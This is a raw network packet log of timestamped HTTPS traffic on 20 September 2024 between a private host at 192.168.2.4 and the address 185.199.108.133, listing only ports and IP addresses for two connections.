Sep 20, 2024 12:14:51.907438040 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.907452106 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.907517910 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.907677889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.907717943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.907773018 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.907783985 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.907814026 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.907841921 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.907872915 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.907912970 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.907941103 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.907952070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.908009052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.908010006 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.908788919 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.908827066 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.908893108 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.908904076 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.908941031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.908960104 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.938551903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.938574076 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.938725948 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.938738108 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.938796043 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.938822031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.938859940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.938888073 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.938894033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.938935041 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.938961983 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.939315081 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.939332008 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.939414024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.939421892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.939470053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.940546036 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.940561056 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.940630913 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.940639019 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.940681934 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.941041946 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.941056013 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.941114902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.941123009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.941271067 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.941446066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.941459894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.941520929 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.941529036 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.941575050 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.941854000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.941869020 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.941931963 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.941940069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.941984892 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.942291021 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.942316055 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.942372084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.942380905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.942428112 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.986824989 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.986887932 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.986932993 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.987349987 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.987376928 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.987416983 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.987437963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.987837076 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.987901926 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.993998051 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.994024038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.994343996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.994405985 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.994443893 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.994468927 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.994553089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.994571924 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.994782925 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.994801044 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.994877100 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.994889021 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.995213032 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.995233059 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.995292902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.995306015 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.995333910 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.995661020 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.995678902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.995743990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.995755911 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.995784044 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.025732994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.025759935 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.025851011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.025870085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.025923014 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.025966883 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.025993109 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.026032925 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.026041031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.026063919 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.026082993 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.026365995 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.026381969 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.026453018 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.026460886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.026506901 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.027745008 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.027760029 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.027823925 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.027832031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.027877092 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.028265953 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.028280973 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.028350115 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.028357983 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.028403044 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.028734922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.028757095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.028819084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.028825998 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.028871059 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.029177904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.029194117 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.029254913 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.029263020 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.029316902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.029608965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.029627085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.029689074 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.029695988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.029747009 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.050539017 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.073715925 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.073812008 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.073939085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.073987961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.074134111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.074157000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.074157000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.074157000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.074157953 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.074182987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.074215889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.074223995 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.074286938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.081285000 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.081351042 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.081496000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.081496000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.081515074 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.081543922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.081592083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.081598997 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.081667900 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.081703901 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.081747055 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.081764936 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.081809044 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.081828117 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.081856012 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.082454920 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.082479000 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.082536936 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.082549095 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.082581997 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.083127975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.083146095 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.083234072 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.083246946 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.114387989 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.114415884 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.114545107 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.114566088 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.114619970 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.114823103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.114845037 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.114917040 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.114924908 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.115015030 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.115293026 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.115310907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.115381956 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.115396023 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.115458012 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.115757942 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.115787983 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.115854979 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.115863085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.115923882 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.116166115 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.116183996 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.116251945 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.116260052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.116307974 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.116607904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.116624117 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.116681099 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.116688967 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.116731882 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.116758108 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.117038965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.117054939 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.117125034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.117131948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.117178917 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.117424965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.117445946 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.117511988 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.117520094 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.117564917 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.128380060 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.160504103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.160561085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.160625935 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.160696030 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.160732031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.160856009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.160906076 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.160937071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.160950899 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.160979033 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.161026955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.161118984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.161164045 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.161206007 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.161216974 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.161241055 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.161442995 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.168379068 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.168445110 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.168530941 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.168543100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.168570995 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.168625116 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.168677092 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.168693066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.168710947 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.168754101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.168791056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.168960094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.169003010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.169054031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.169064045 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.169096947 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.169131041 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.169370890 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.169411898 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.169517040 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.169542074 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.169576883 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.169605970 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.169699907 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.169749022 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.169783115 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.169792891 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.169831991 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.169851065 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.201725006 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.201747894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.201819897 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.201838970 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.201963902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.202224016 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.202244043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.202275991 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.202320099 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.202327013 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.202389956 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.202723980 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.202739954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.202800035 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.202809095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.202852011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.203175068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.203190088 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.203265905 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.203274012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.203320980 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.203660965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.203675985 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.203742027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.203749895 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.203804016 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.204101086 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.204119921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.204268932 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.204276085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.204319954 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.204483986 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.204499960 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.204557896 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.204566002 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.204632044 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.204888105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.204902887 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.204955101 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.204962969 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.204993963 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.205018044 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.247468948 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.247510910 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.247560024 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.247575045 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.247600079 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.247876883 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.248106003 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.248146057 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.248199940 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.248210907 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.248259068 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.248277903 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.248512030 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.248550892 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.248600006 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.248610973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.248637915 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.248666048 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.255335093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.255377054 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.255446911 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.255462885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.255498886 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.255527020 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.255877018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.255918026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.255963087 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.255974054 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.256000042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.256042957 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.256262064 CEST	443	58640	185.199.108.133	192.168.2.4
